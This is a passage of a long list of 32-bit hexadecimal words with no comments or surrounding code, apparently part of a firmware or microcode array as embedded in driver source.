0xa261f000,
0xb7439d17,
0xcfee4435,
0xb7a00af1,
0x0d824814,
0x0982c010,
0xffd4010b,
0xd20898f9,
0x0d82aa21,
0xa921d210,
0x9eaa9d07,
0x0c869e5b,
0x08e1cfee,
0xa221f208,
0x9a3afff4,
0x7e6ab7de,
0xc0017580,
0xd0119182,
0xd0081d54,
0x7500aa41,
0x90a2c000,
0xd0080a02,
0xb79fa241,
0xb7bf6e6e,
0xb7df6eee,
0xcfee6f6e,
0x9c228401,
0x52500906,
0x7d00c4e0,
0x90a2c000,
0xfffd0d0a,
0xc21c9280,
0xc0007d00,
0xc1009124,
0xfffd7d38,
0x9e929162,
0x9120fffd,
0xfffd0d0e,
0xc02190c0,
0xc0080e82,
0xc1000a82,
0x9dde0ec0,
0xa2e1f000,
0xaa619d6e,
0x9dee3a40,
0xa261f000,
0xc1009eaa,
0x09920d82,
0xc014010b,
0x9dde9886,
0xa2e1f000,
0xfff49eb3,
0xb79f9ad4,
0xb7bf6e6e,
0xb7df6eee,
0xcfee6f6e,
0x9c228401,
0xc0349eab,
0xc00e99c6,
0x048b287c,
0x5888c000,
0x009ac101,
0x72c9b78a,
0x662db740,
0x6f49b50f,
0xb5437500,
0xc000754d,
0xc02192a2,
0xd0100d02,
0x9eab19c2,
0x0d30c140,
0xf0009dae,
0xd011a1e2,
0x9dcd0e28,
0xa1e2f000,
0x0d00c100,
0x92c1ffff,
0x0a02c021,
0x0900c004,
0x0a40c146,
0xf0009dcd,
0x9e69a161,
0x58abb745,
0x470cb720,
0xc0007480,
0xb78890e4,
0x750075ab,
0x90e4c000,
0xd2080a06,
0xfff9a241,
0xb76492e0,
0x9e935b2d,
0x9accfff4,
0x92c0ffff,
0x9c8fc127,
0x080a9c22,
0x9c81c017,
0x9c80c071,
0x9c80c017,
0xc00e9c22,
0x0d842dfc,
0x9e5a5db0,
0x4018b960,
0x0900c021,
0x0940c00e,
0xaa45f031,
0xf0009dad,
0x0910a261,
0x9341ffff,
0xc3fe9e5c,
0xc02129c0,
0xc0010a00,
0xc00e3988,
0x9dcd0a30,
0xa1e1f000,
0xc0219c22,
0xd1100d80,
0x9d3d05b7,
0x2244aa61,
0xffff7115,
0x9c229384,
0xd3f1a605,
0xc3fe2ebe,
0x0a8429c0,
0x5ab0c280,
0xc021020b,
0xc0010a00,
0x0685398c,
0x0a30c00e,
0xf0009dcd,
0x9eaba1e1,
0x0992c00e,
0xcff00d02,
0xc0210902,
0xfff40a80,
0xc00e9bda,
0xb9600ac0,
0x9d5d4018,
0xf231aa61,
0x0a90a225,
0x9361ffff,
0x7f6eb79f,
0x7feeb7bf,
0x9c228c40,
0x0d80c021,
0x05b7d110,
0xaa619d3d,
0x71152244,
0x9382ffff,
0xfffc9c22,
0xf8399280,
0xd011a285,
0xd2260e32,
0x9d4b5930,
0x0900c021,
0x0910c042,
0xa9619d2d,
0x4f84b760,
0x5d18d1a8,
0x5a61c100,
0x82a6e010,
0xd0329e93,
0x01850910,
0xaacdd810,
0xa8c2d810,
0xa846d810,
0xa849d810,
0xd810024a,
0xcff0a24d,
0x9d532d80,
0x29fcc00f,
0x59c15da1,
0x297cc00e,
0xc10105b2,
0x01b00120,
0x0a00c021,
0xa1c2d810,
0xa145d810,
0xa1c9d810,
0x0a20c042,
0xaa619d4d,
0x0998d052,
0x0810d052,
0xa9e1f010,
0x5961c200,
0x2a7ccffe,
0x4052b740,
0xf0100246,
0x9d53a261,
0x0124c101,
0x0a00c021,
0x404ab540,
0x0a30c042,
0xaa619d4d,
0x0990d071,
0xa962f008,
0xc00f9d4b,
0xc1012a7e,
0xc0210244,
0xc0420900,
0xf0080940,
0x9d2da261,
0xd071a961,
0xf0080998,
0x9d53a962,
0x297ec00f,
0x0124c101,
0x0a00c021,
0x0a50c042,
0xa161f008,
0xaa619d4d,
0x0990d091,
0xa962f008,
0xc00f9d4b,
0xc1012a7e,
0xc0210244,
0xc0460900,
0xf0080960,
0x9d2da261,
0xd0b2a961,
0xd0920990,
0xf0100898,
0x0205a962,
0x2a7cc3fe,
0x404db760,
0x0244c101,
0xa261f010,
0x297cc3ff,
0x59419d53,
0xc0210126,
0xb5400a00,
0xc03a404d,
0x9d4d0a00,
0xd0b2a961,
0x09ff0918,
0xaa41f010,
0x297ec7ff,
0x708641b8,
0x0228d013,
0x4646b422,
0x9146c000,
0x4148b780,
0xf0101126,
0x0a04a141,
0x4148b580,
0xc0219d53,
0xc03a0a00,
0x9d4d0a20,
0xe010a962,
0xc7ff82a6,
0xd0d12d7e,
0xf0080990,
0x9e91a961,
0x72824cfd,
0x91e6c000,
0x0a10d051,
0xa90dd208,
0xf0081522,
0x0904a162,
0xa10dd208,
0xaa9df9f8,
0xd1109c22,
0xf0080625,
0xf9f8a261,
0x9c22aa9d,
0x4714b700,
0x0c82c021,
0x0982c021,
0x0cb0c012,
0x0990c012,
0xb9600d02,
0x76c440d0,
0x04a0d010,
0x9202c000,
0x732db781,
0xf0009d9e,
0xb741a261,
0x9dbd58ad,
0xa161f000,
0xffff1d20,
0x9c229201,
0x682db782,
0xf0009d9e,
0xb722a261,
0x9dbd4dad,
0xa0e1f000,
0x9240ffff,
0xb7a0a60d,
0x9e5e470c,
0x008b9e9e,
0x692db782,
0xc000751a,
0x0e8693f2,
0x52509e6a,
0x7d00c4e0,
0x9302c000,
0x79b5b763,
0x6b2db760,
0x9929c094,
0xb3057400,
0x008b4442,
0x7d2db503,
0xa2c2f208,
0x79adb783,
0x294ed031,
0x7f2db583,
0xa141d210,
0x7eeeb79f,
0x7f6eb7bf,
0x7feeb7df,
0x9c228c60,
0x8420a605,
0x470cb7a0,
0xb743008b,
0xc00468b5,
0xc0017e80,
0xc8009262,
0xc0007e80,
0x0a0690a2,
0x432bb586,
0x0a02008b,
0x7e840906,
0x43abb586,
0x442bb546,
0x9204c003,
0x4f0cb740,
0x4e94b760,
0xf0080a02,
0xe031a945,
0xb59f8d80,
0xb59f7de8,
0xb59f7c68,
0xb59f7ce8,
0x9e947d68,
0x008b9c62,
0x68adb783,
0x4a31b74c,
0x490cb740,
0x2a7dcffc,
0x68adb583,
0xa142d008,
0x470cb720,
0xc0849e8d,
0xd2100e80,
0x7500aa21,
0x9062c001,
0x752bb788,
0xc0017500,
0xb7439204,
0xb7007aad,
0x008b4f0c,
0x752bb768,
0x422cb700,
0x0d029e93,
0x9c629e84,
0xaa21d210,
0x4814b740,
0xd0107500,
0xc000a041,
0xb79f9162,
0xb7bf7eee,
0x8c607f6e,
0x9e8a9c22,
0x0d1cc080,
0xb74c008b,
0xb7804a29,
0xd010490c,
0xd208a141,
0xb79fa101,
0xb7bf7eee,
0x8c607f6e,
0xb7439c22,
0x74827aad,
0x9322c000,
0xc0007480,
0x748690a2,
0x9164fffe,
0x008b0a02,
0x752bb588,
0x90a0fffe,
0x7e80c080,
0x9202fffc,
0x4fadb785,
0xb5853a08,
0xfffc4fad,
0xb7809120,
0x75006aad,
0x9184ffff,
0x9260fffd,
0x7cfedffc,
0xc0009e4c,
0xb7209222,
0xb780470c,
0xb7406f2d,
0xb7406ead,
0xb5836e35,
0xb543772d,
0xb54377ad,
0x9c227835,
0xc0007684,
0xc1019322,
0xd0141222,
0x1a047100,
0x4714b720,
0xc1016a32,
0xb74000c2,
0xb54370ad,
0xb780774d,
0xb583702d,
0xb72077cd,
0xb5236fad,
0x9c22784d,
0x4714b700,
0xc8141142,
0x9e447080,
0x18a2d011,
0x0a54c080,
0xaa01d208,
0x4000ba24,
0xc0017504,
0x750690a2,
0x9242c000,
0xb3407502,
0xb78048a4,
0xb74076cc,
0xb740764c,
0xb58375d4,
0xb543774c,
0xb54377cc,
0x9c227854,
0xc10168b2,
0xb7800090,
0xb5837b2d,
0xb740774c,
0xb5437aad,
0xb72077cc,
0xb5237a2d,
0x9c22784c,
0xc10168b2,
0xb7800090,
0xb583782d,
0xb740774c,
0xb54377ad,
0xb72077cc,
0xb523772d,
0x9c22784c,
0x2dfcc00e,
0x59a09e5c,
0xcff05d40,
0xc00f2980,
0x31b82d7c,
0xdffc9e54,
0x30387e7e,
0x28fccffe,
0x7e6ab79f,
0x7d6ab75f,
0x9082c000,
0x3800c101,
0xc0007440,
0xc0119082,
0x75003800,
0x48a2b340,
0xc0217480,
0xb3403800,
0xc04148a2,
0x9c223800,
0x8440a605,
0x470cb700,
0x2ebed3f2,
0x29fcc00e,
0x0651d110,
0xc0800d02,
0xd2080a60,
0xb740aa15,
0x1a046dbc,
0xd00170c8,
0xb3250d22,
0xc0004824,
0xb7859104,
0x0a82552a,
0xd0027500,
0xd1100ad2,
0x01890651,
0x0980c082,
0xa965d008,
0x402ab780,
0x8125e210,
0x5a11c200,
0x29aed3f2,
0x28ced3f1,
0xa1e6d008,
0xc0017057,
0xd1109092,
0x12031533,
0xa8f6d008,
0x284ed3f2,
0x29aed3f2,
0x9060c000,
0xd0109e9b,
0xd3f10630,
0x013229ce,
0x297cc00e,
0x0e12d011,
0xd3f27044,
0xffff28ce,
0xd1109274,
0xc0820651,
0xd2080a00,
0xd208a096,
0xd110a186,
0xb78005d1,
0x9e514d0c,
0x0980c082,
0xa901d208,
0xa9f5d008,
0x7532b728,
0xb55f3252,
0x08827f74,
0xc2809dcb,
0xb53f5e88,
0xc1017fec,
0xb59f06d0,
0xfff47eec,
0x9e699b67,
0x45adb504,
0x7e6eb79f,
0x7eeeb7bf,
0x8c00c002,
0xa6059c22,
0x470cb720,
0x59abb785,
0xc0037500,
0xb78390a2,
0x750079ad,
0x90c4c003,
0xb7829ea2,
0xb7426f2d,
0xb7aa702d,
0xc20072b1,
0x59205a60,
0x2a00c3f1,
0x2900c3f0,
0x9ea33244,
0x35347740,
0x93e2c002,
0x0902c021,
0x1dd2d010,
0x0960c132,
0x9dad0d82,
0xa162f000,
0x0a20d031,
0xaa619d4d,
0x05b8c101,
0x0900c100,
0x92a1ffff,
0x70b5b742,
0x402bb760,
0x6e2db7a2,
0x6dadb742,
0xc0015d60,
0xc0310a1e,
0xcff02d00,
0xc2800a00,
0x59205ad0,
0x212861b7,
0x2ac0c00f,
0x32d49e54,
0x32d859a3,
0x9ac5c074,
0x287cc00e,
0xd0207740,
0xc0003150,
0xc02192a2,
0xd0100902,
0xc1321dd2,
0x09820970,
0xf0009dad,
0xd011a162,
0x9dcd0a28,
0xa1e1f000,
0x0900c100,
0x92c1ffff,
0x7f6eb79f,
0x7feeb7bf,
0x9c228c40,
0x6eadb782,
0x6fadb742,
0x5a40c200,
0x2a7cc001,
0xd020297c,
0xfffc3144,
0x058b9240,
0x92c0fffd,
0xc002a61d,
0xd0128400,
0x5d300932,
0xc0219e54,
0xc03c0a00,
0x9d4d0a30,
0x9e52abe1,
0x0900c021,
0x0900c03a,
0xab629d2d,
0x1a10c002,
0xab619d4d,
0x0940c008,
0xaae29d2d,
0x0a30c008,
0xaae19d4d,
0x9d2d1920,
0x1a20a861,
0xa8629d4d,
0x0d00c021,
0x0d60c046,
0xa8e29d2e,
0x4a0cb780,
0xa901d208,
0xc0017480,
0xb72092e2,
0x9e4a4f0c,
0x297ed3f2,
0xb720020f,
0xc3ff402d,
0xcff0297c,
0xc2002a00,
0xc7ff5a21,
0xc7ff2f7e,
0xc00f2b7e,
0xc00f2efe,
0xcffe2afe,
0xc00f287c,
0x59412c7e,
0x2cfcc3fe,
0x78f2b55f,
0x8d00e092,
0x786ab59f,
0x7cf4b5df,
0x7d6cb5df,
0x7e74b5bf,
0x7eecb5bf,
0x7fecb51f,
0x7f74b51f,
0x7b6ab55f,
0x7bf2b53f,
0x9c629e8c,
0x7c6eb79f,
0x7ceeb7bf,
0x7d6eb7df,
0x7deeb7ff,
0x8c00c004,
0xb7209c22,
0x0d82470c,
0x098ac0a8,
0x442db743,
0xff999e8a,
0xa60d91e0,
0xb7c08440,
0xc0a84714,
0x0d82098a,
0xb7a3040d,
0xb7c34454,
0xb72346cc,
0xb72345cc,
0xb7834654,
0x9e72454c,
0x7eecb53f,
0xb53f050b,
0xb5df7f74,
0xb7a37fec,
0xb59f44cc,
0xff947e6c,
0xb79f9bc9,
0x9e717e6c,
0x0982c021,
0x4435b5a3,
0x44adb5a3,
0x452db583,
0x7eecb75f,
0x0d02c021,
0x0980c014,
0x45adb543,
0x7f6cb79f,
0x0d10c014,
0x46adb5c3,
0x462db583,
0x040d0902,
0x4040b960,
0x00acc101,
0x5eadb780,
0xf0009dbd,
0xb720a261,
0x9dae62ad,
0xa0e1f000,
0xffff1910,
0xb7859261,
0x7500534a,
0x9262c001,
0x53cab785,
0x498cb740,
0x40d2b760,
0x0a027500,
0x0a42d002,
0x6d4cb720,
0x9ea50d02,
0xa14ed029,
0x09ff0a0a,
0xd00855f7,
0xb58fa0c1,
0x090e7148,
0xb56f0a06,
0xb54f70c8,
0xb58f71d0,
0xb54f7248,
0xb56772c8,
0xb5437752,
0xb54379d4,
0xb5437a54,
0xb5437ad4,
0xb56f7b54,
0xb56f6f48,
0xb56f6fc8,
0xb7207048,
0xb7654e0c,
0xb78555ca,
0xb742584a,
0xb7456bcc,
0xb5605652,
0xb5805929,
0xb5444029,
0xb54048cc,
0xb79f5531,
0xb7bf7dee,
0xb7df7e6e,
0xc0027eee,
0x9c228c20,
0x8420a60d,
0x4714b7a0,
0x03079e5d,
0xc0809e6c,
0xd2080a14,
0x7500aa01,
0x9022c003,
0xa922f2d0,
0xc0100d82,
0x010b09b2,
0x9b34ff94,
0x0a50d051,
0xa902d208,
0xc600040b,
0xf2080902,
0xb763a102,
0xf2087d4c,
0x74c0aa2d,
0x4422b332,
0x3a00c010,
0xf2083144,
0xb783a12d,
0x75007d4c,
0x90c2c000,
0x3900c030,
0xa12df208,
0x470cb720,
0x692db742,
0xc0017496,
0x0a069192,
0x5208c200,
0x7d38c100,
0x90a2c001,
0xb7809e69,
0xb7434d8c,
0x048b7d35,
0xaa01d208,
0x7fcdb743,
0x7eadb723,
0x7f55b723,
0x9eab7680,
0x09829eb2,
0x4000ba24,
0x09b2d001,
0x7fecb59f,
0x98f2fff4,
0x7e6eb79f,
0x7eeeb7bf,
0x7f6eb7df,
0x8c00c002,
0xf2089c22,
0xcfdeaa2d,
0xf2082a7d,
0xfffea22d,
0xd01292e0,
0x9ea30932,
0x052a5d08,
0xa942f0d0,
0x09b2c010,
0xff94010b,
0xfffc9ad1,
0xa60d93a0,
0x470cb780,
0x2ebed3f1,
0x0358097f,
0xc021008d,
0xb54f0a02,
0xc0106f29,
0x9d4d0a20,
0xc021aa61,
0xc0100d02,
0x9d2e0d10,
0xb780a962,
0x0906508c,
0xd0200d82,
0xc01002d8,
0xd21009a2,
0x0a84a8a1,
0x08d002da,
0x9e915144,
0xffd42522,
0xd2109a88,
0x008da821,
0x0a02d011,
0x2a7cc00e,
0xd210710a,
0xd00ba221,
0xb4251a44,
0xb50f4456,
0xb79f6f29,
0xb7bf7eee,
0xb7df7f6e,
0x8c607fee,
0xa6059c22,
0x5db00d84,
0xc00e9e5d,
0xc02129fc,
0x0ac00a80,
0x0a02c008,
0xf0009ddd,
0x9e5aa261,
0x0900c021,
0x0900c040,
0xaa619d2d,
0xc00074c0,
0xc0029302,
0x9dad3a40,
0xa261f000,
0x0d02c008,
0x09929e52,
0x9a4dffd4,
0x0a02c008,
0xf0009ddd,
0xb79fa261,
0xb7bf7f6e,
0x8c407fee,
0x3a409c22,
0xf0009dad,
0xffffa261,
0xf8399160,
0x8420a205,
0x470cb720,
0xb55f0902,
0xb7837e6a,
0xc021752d,
0xc1460902,
0xc0040940,
0x9dad0a00,
0xa261f000,
0x0d829e8a,
0x0d1cc080,
0xa941d010,
0x8c80e031,
0xcfe49e5b,
0x0c860d05,
0x9b8affb4,
0x9e5b0d82,
0x9ba9fff4,
0xaa19f9f8,
0xa60d9c22,
0x8420c010,
0x4714b7a0,
0x08829d1b,
0xb743048b,
0x9e6c7ad5,
0x0b71cfee,
0x5d080d04,
0xf0d0052a,
0xc080a952,
0x010d0a14,
0xa081d208,
0xc0100d82,
0xc0800982,
0xb53e0e9c,
0xff947e6a,
0xd2089a13,
0xd210aa41,
0x0d82a921,
0x9eb29d07,
0x0c869e5b,
0x08e1cfee,
0xa241f208,
0x9b54ffb4,
0x9e5b0d82,
0x9b73fff4,
0x6e6eb79f,
0x6eeeb7bf,
0x6f6eb7df,
0x8401cfee,
0xa61d9c22,
0x8440c006,
0x4714b7e0,
0x4d14b700,
0x4b8cb720,
0x0a029e78,
0x472cb763,
0x72a8b7aa,
0x2dfcc00e,
0x7cc2c400,
0x0a42d001,
0xb57f7540,
0xb5807a74,
0xb7604048,
0xb7424031,
0xc000782c,
0x008793e2,
0x0d02c021,
0x0d00c140,
0x2880c200,
0x0a022984,
0x294d74c0,
0x3928d002,
0x90a4c000,
0xd0227440,
0x9dae3920,
0xa161f000,
0xc00e0a04,
0x710a2a7c,
0x0d00c100,
0x91c4ffff,
0x05bac101,
0x018b1d84,
0x9be3c054,
0x4000ba00,
0x7aecb51f,
0x1804e000,
0x938ac042,
0x09060c82,
0x79f4b53f,
0x73ecb55f,
0x4c94b740,
0x75400a02,
0xa241d010,
0x9102c01e,
0xb57f0982,
0xc001736c,
0xd0119000,
0xb55f0912,
0x59307b6c,
0x1a00c002,
0xc0210d02,
0xd2080900,
0xc046a116,
0x0a020940,
0xf0009dad,
0x9e78a261,
0x6c70b71f,
0x72a8b7aa,
0x2c7cc00e,
0x7374b51f,
0xc01b7151,
0xb77f9054,
0xb73f79f4,
0xb700736c,
0xc1014b8c,
0xb7406257,
0x02184028,
0x294ed3f2,
0x019ec101,
0xc0820207,
0x70950a60,
0xa112d208,
0x91b4fffe,
0xc0007680,
0xb76091c4,
0xd008498c,
0x7500aa61,
0x90e2c000,
0x7a74b77f,
0xc00076c0,
0xb77f9184,
0xfff47374,
0xb79f9a84,
0xc101736c,
0xb50f00ce,
0xb71f6f29,
0xb700736c,
0xda104f94,
0xc000a961,
0xc1015a18,
0xb9600240,
0x088241f8,
0xa085d229,
0x93a1ffff,
0x736cb77f,
0x59119e78,
0x033ec101,
0xc082020d,
0xd2080a60,
0xb740ab91,
0xc00e6db4,
0xc101297c,
0x020b02fe,
0x0a20c084,
0xaa09d208,
0x9eb60185,
0x62c5d132,
0x78ecb55f,
0xc054058b,
0xb77f9b45,
0xc08278ec,
0x058b0f00,
0xa055d210,
0x9b89c054,
0x4c94b700,
0xb74f008d,
0xb7806f29,
0xc0884048,
0xd2080aa0,
0x5908aab9,
0x0b60c080,
0x024ec101,
0x00aec101,
0xa2d5d208,
0x0a60c080,
0x736cb75f,
0xaa15d208,
0x6635b740,
0xc1015908,
0x710a00ae,
0x7becb55f,
0xa045d210,
0x7535b543,
0x90c8c000,
0x4c68b77f,
0x4048b560,
0x470cb700,
0x692cb782,
0xc021751a,
0xb75f93d4,
0xb7a0736c,
0x09044814,
0x7b6cb55f,
0x5ab0c100,
0xb783048f,
0x7d10474d,
0x91a2c023,
0x736cb75f,
0x4714b740,
0x0224c101,
0xc0820309,
0xd2080b00,
0x74c0a9d5,
0x746cb57f,
0x91e2c037,
0xaa21d210,
0xc021010b,
0xc0140900,
0xc0020970,
0x9dad2a7c,
0xa261f000,
0x7a6cb75f,
0x74809e78,
0x4b2ab721,
0x4bb2b721,
0x9302c01f,
0x4714b700,
0x694cb783,
0x6354b740,
0x63ccb760,
0x62ccb740,
0x01c5d120,
0x0146d020,
0x020b0144,
0x0a00c021,
0x0a00c010,
0xf0009dcd,
0x010ba161,
0x0900c021,
0x0910c010,
0xf0009dad,
0x0a20a162,
0xf0009dcd,
0xd0a2a1e2,
0xcffc5d19,
0x59582880,
0x0a103122,
0xf0009dcd,
0xda10a161,
0xb73fa862,
0x048f7a6c,
0x74409e42,
0x08aed0f1,
0x77f4b51f,
0x7753b747,
0x2880cffc,
0x9342c01c,
0x9e5b0d82,
0x020b9e78,
0x69acb743,
0x0a00c021,
0x0a20c012,
0x9dcd03b4,
0xa3e1f000,
0x6a34b743,
0xc021010b,
0xc0120900,
0xd1200930,
0x9dad0335,
0xa362f000,
0x732cb783,
0xc021000b,
0xc0100800,
0x02380840,
0xf0009d8d,
0x040fa261,
0x73ccb743,
0xc0219ea8,
0xc0100c00,
0x01340c50,
0xf0009d8e,
0x048fa161,
0x744db783,
0xc021030b,
0xc0100b00,
0x02380b60,
0xf0009ded,
0xb743a261,
0x9ead74cd,
0x0e80c021,
0x0ef0c010,
0x9dde0134,
0xa161f000,
0x78cdb783,
0xc0219eaa,
0xc0120d00,
0xd1100d50,
0x9dae0639,
0xa261f000,
0x794db743,
0xd1100d30,
0x9dae0535,
0xa161f000,
0x7249b78f,
0xc2009d59,
0xc1015a08,
0xf248024e,
0xc021aa05,
0xc0128500,
0xd1108560,
0x9e2e0639,
0xa261f000,
0x6049b740,
0x59080d10,
0x012ec101,
0xa945f048,
0x0535d110,
0xf0009dae,
0x9eaba161,
0x0d80c021,
0x0df0c012,
0xf0009dbe,
0xda10a261,
0x9dd9a966,
0xb55f9e53,
0x62337874,
0x094ed032,
0xb3247500,
0xc0214838,
0xc2008700,
0xc0145a13,
0x02448720,
0xf0008385,
0xb79fa261,
0xc1017bec,
0x020b00ce,
0x0a00c021,
0x682db720,
0x0a40c012,
0xf0009dcd,
0xb743a0e1,
0x74807d4d,
0x9104c000,
0xf0009d8d,
0x9d8ea3e1,
0xa362f000,
0x470cb720,
0x68adb783,
0x7d00c400,
0x9224c000,
0xaa619d6d,
0xf0009d8d,
0x9d5ea261,
0x9d8ea961,
0xa161f000,
0xaa618185,
0xf0009dbe,
0xb75fa261,
0xb740736c,
0xc1014714,
0x01090224,
0x0a00c082,
0xd2089e50,
0x020bab06,
0x0960c080,
0x0a00c021,
0xaad6d008,
0x6dacb7c0,
0x772cb743,
0x0a40c016,
0xf0009dcd,
0xb743a161,
0x0a1077b4,
0xf0009dcd,
0xb743a162,
0x0a10782c,
0xf0009dcd,
0xb743a161,
0xc0084834,
0x9dcd0a20,
0xa162f000,
0x71acb742,
0x0a40c018,
0xf0009dcd,
0xb742a161,
0xcfca7234,
0x9dcd0a41,
0xa162f000,
0x72acb742,
0x9dcd0a10,
0xa161f000,
0x7334b742,
0x0a70c020,
0xf0009dcd,
0xb742a162,
0xc01e74ac,
0x9dcd0a70,
0xa161f000,
0x7534b742,
0x9dcd0a10,
0xa162f000,
0x65ddc101,
0x78ecb77f,
0xc05405bc,
0xb73f996f,
0xb720746c,
0x020b4714,
0xc00e0010,
0xb742287c,
0x1804714d,
0xcff05820,
0xc0212800,
0x30040a00,
0x0a30c016,
0xf0009dcd,
0xb742a061,
0xc01e75cd,
0x9dcd0a50,
0xa161f000,
0x47d5b743,
0xc080010b,
0x9e535a20,
0x0900c021,
0x0960c014,
0x9dad3246,
0xa261f000,
0xc021020b,
0xb7420a00,
0xc0827755,
0x9dcd0a30,
0xa162f000,
0x694db782,
0xc0117516,
0x08069192,
0xc1005210,
0xc0117d38,
0x020b90c2,
0x0a00c021,
0x73cdb742,
0x0a20c01a,
0xf0009dcd,
0xb742a161,
0x0a107455,
0xf0009dcd,
0xb73fa162,
0x74407a6c,
0x92e2c00e,
0x77ecb77f,
0xb74f048f,
0xc1807851,
0xc00e5911,
0x5d08297c,
0x04aed010,
0x5a0cc100,
0x746cb71f,
0x0a7cc002,
0x55adb760,
0xcffc9eaa,
0x62092a01,
0x0d00c021,
0xc0140246,
0x9dae0d30,
0xa261f000,
0xc0020124,
0xb720097c,
0xcffc582d,
0x61052901,
0xc021020b,
0x01220a00,
0x0a40c014,
0xf0009dcd,
0x040fa161,
0x59cab745,
0x48ccb763,
0x74809eaa,
0x0a42c001,
0x4422b324,
0xc02131c6,
0xc0140d00,
0xb5630d50,
0x9dae48cc,
0xa1e1f000,
0xc021020b,
0xb7420a00,
0xc01876cc,
0x9dcd0a00,
0xa161f000,
0x554ab745,
0x0d027742,
0x0d22d001,
0xc0007480,
0xb7209124,
0xb78a470c,
0x750272a9,
0x9302c028,
0xc00b7680,
0x9e5491c4,
0x4d14b720,
0x9e519e78,
0xb7400986,
0xb7284049,
0xb57f7532,
0xb77f7fec,
0x3242746c,
0x7f74b55f,
0xb59f9eb2,
0x058d7eec,
0xffd40886,
0xb79f98eb,
0xc7fe7bec,
0xc1010d7e,
0x020b00ce,
0x0a00c021,
0x45adb504,
0x9dcd0a40,
0xa162f000,
0xc021010b,
0xc0160900,
0x9dad0900,
0xa061f000,
0x4a0cb700,
0x4028b780,
0xffe67500,
0xb7209242,
0xb71f470c,
0xb73f7374,
0xc1017a74,
0x9e6c0682,
0xc0827640,
0xd2080a60,
0x0242aa11,
0x0a20c084,
0xaa89d208,
0x91e4c000,
0x786cb77f,
0x77f4b75f,
0x65a7c101,
0x59a4c300,
0x9862c054,
0xd3f10050,
0xb7602a8e,
0xb77f4f14,
0xf010736c,
0x9eaba869,
0x9c629e84,
0xc0809e6c,
0xd2080a60,
0xb71fa001,
0x9e786c70,
0x72a8b7aa,
0x2c7cc00e,
0x7374b51f,
0xffe57151,
0x75409052,
0x9042c002,
0xc0000b02,
0x048f9140,
0x72c9b7aa,
0x2f5ed3f1,
0xc001714c,
0xd12092f4,
0xb720036f,
0x9e744b8c,
0x0ae2d012,
0x0a60c082,
0xaa11d208,
0x4029b740,
0xffff7104,
0xd2a29148,
0xc4005eb0,
0x9eab0d02,
0x09929e52,
0x0a80c021,
0x99d3ffb4,
0xc4000ac0,
0x9ddd0a02,
0xa261f000,
0x9eb39e72,
0x0960c080,
0xa955d008,
0x74820986,
0x91f4fffe,
0x987effd4,
0xb7aa048f,
0xd3f172c9,
0x714c2f5e,
0x91b2fffe,
0x4c8cb740,
0xaa41d008,
0x024ec101,
0x0a60c080,
0xaa15d208,
0xc0107502,
0x75409354,
0xb55f0d06,
0xd0127974,
0xc000136c,
0xc0049184,
0x9e789360,
0x2f6ed3f1,
0x72a8b76a,
0xc00270cc,
0xb7609074,
0xc1014b8c,
0x9ea2026e,
0x0a60c082,
0xaa11d208,
0xa961d008,
0x0d60c080,
0x0b62d012,
0xffff7104,
0xb77f9108,
0xd0107974,
0x7117aa55,
0x9034ffff,
0x5eb0d322,
0x0d02c200,
0x9e529eab,
0xffb40992,
0xb7809978,
0xc300470c,
0x00985888,
0xc021020b,
0xb7240a00,
0xc01645ad,
0x9dcd0a00,
0xa0e1f000,
0x0a80c021,
0xc2000ac0,
0x9ddd0a02,
0xa261f000,
0xd3f19e78,
0xb76a2f6e,
0x70cc72a8,
0x9032fffe,
0xc02174c0,
0xb75f9202,
0xb77f796c,
0x0b02796c,
0xd3f20904,
0x198429ae,
0x7c6cb55f,
0x7cecb57f,
0x7d74b57f,
0x016fd120,
0x4b8cb700,
0xc0820705,
0xd2100f60,
0xb780a951,
0x70884028,
0x9188c000,
0xb71f9e57,
0xc0807974,
0xd2080be0,
0x7111aa75,
0x90d2c009,
0x0ae2d012,
0xd3f19e78,
0xb7aa2f5e,
0x714c72a8,
0x9012ffff,
0x4c94b700,
0x7068b73f,
0x4048b780,
0x28fcc00e,
0x796cb53f,
0x024ec101,
0x0a60c080,
0xaa15d208,
0xc00c7102,
0xb7209014,
0xb7aa4714,
0x754072c9,
0x136cd012,
0x9224fffb,
0x796cb75f,
0xb55f0904,
0xfffe7c6c,
0x748093e0,
0xd0020a02,
0xfff40a42,
0x040f9220,
0x7848b74f,
0x77f4b73f,
0x746cb71f,
0xc0805908,
0xc1015d11,
0xc00e00ae,
0xb75f2d7c,
0xd122786c,
0xb7605e0c,
0xc10055b5,
0xc0025995,
0x01860a7c,
0x2a01cffc,
0x010b6239,
0x0900c021,
0x0246c101,
0x0930c014,
0xf0009dad,
0x0524a261,
0x0d7cc002,
0x2d01cffc,
0x582db720,
0x61b5c101,
0xc021020b,
0x01b20a00,
0x0a40c014,
0xf0009dcd,
0xfff1a1e1,
0x020b9080,
0xc021040f,
0xb7420a00,
0xc026764c,
0x9dcd0a40,
0xa161f000,
0x9020ffef,
0x0624d010,
0x0982c021,
0x0244c101,
0xc03c6243,
0xd22409c0,
0x9d3d5987,
0xc001a961,
0x0a180a0e,
0xb3337088,
0xffe24832,
0xd07192f2,
0xcffe0e2e,
0x62192a01,
0x01280148,
0x5987c100,
0x9180ffe2,
0x470cb700,
0x692cb783,
0x64b4b740,
0x652cb760,
0x642cb740,
0x01c5d120,
0x0146d020,
0xffe00144,
0x08869140,
0xc4e05230,
0xc0037d00,
0xc21c90c4,
0xc0027d00,
0xc1009204,
0xffdd7d38,
0xb77f9302,
0x75c07a6c,
0xd0010902,
0x0a020922,
0xd00274c0,
0x78880a42,
0x90a2c019,
0xc01974c0,
0xb79f9042,
0x0a04736c,
0x7b6cb59f,
0x5ab0c200,
0x4814b700,
0x7a74b73f,
0x7374b77f,
0x4048b740,
0x4c14b740,
0xe1d19e6b,
0x0a028c80,
0x646ab59f,
0xff940681,
0x048f99bb,
0x474db783,
0xffdc7d10,
0xb70092e4,
0xd2104714,
0xb77fa9a1,
0xb7427374,
0xb74077d4,
0x9e94458c,
0xb73f9c62,
0xb720736c,
0xc1014714,
0xc0820212,
0xd2080a00,
0xb59faa15,
0xffdc746c,
0x75c091a0,
0x92c4c016,
0x736cb77f,
0x4814b7a0,
0xb57f0984,
0xffd47b6c,
0xb79f9a0e,
0xc2007b6c,
0xffdb5ab0,
0xb73f90a0,
0xb7a0736c,
0x08844814,
0x7b6cb53f,
0x99ffffd4,
0x7b6cb75f,
0x5ab0c100,
0x92c0ffda,
0x0ae2d012,
0x0d02c400,
0x5eb0d2a2,
0x9eab9e52,
0xc0210992,
0xff940a80,
0x0ac09bfe,
0x0902c400,
0xf0009ddd,
0xb720a161,
0xd2104714,
0xb73faa51,
0xb75f7a6c,
0xc1017cec,
0xc0840242,
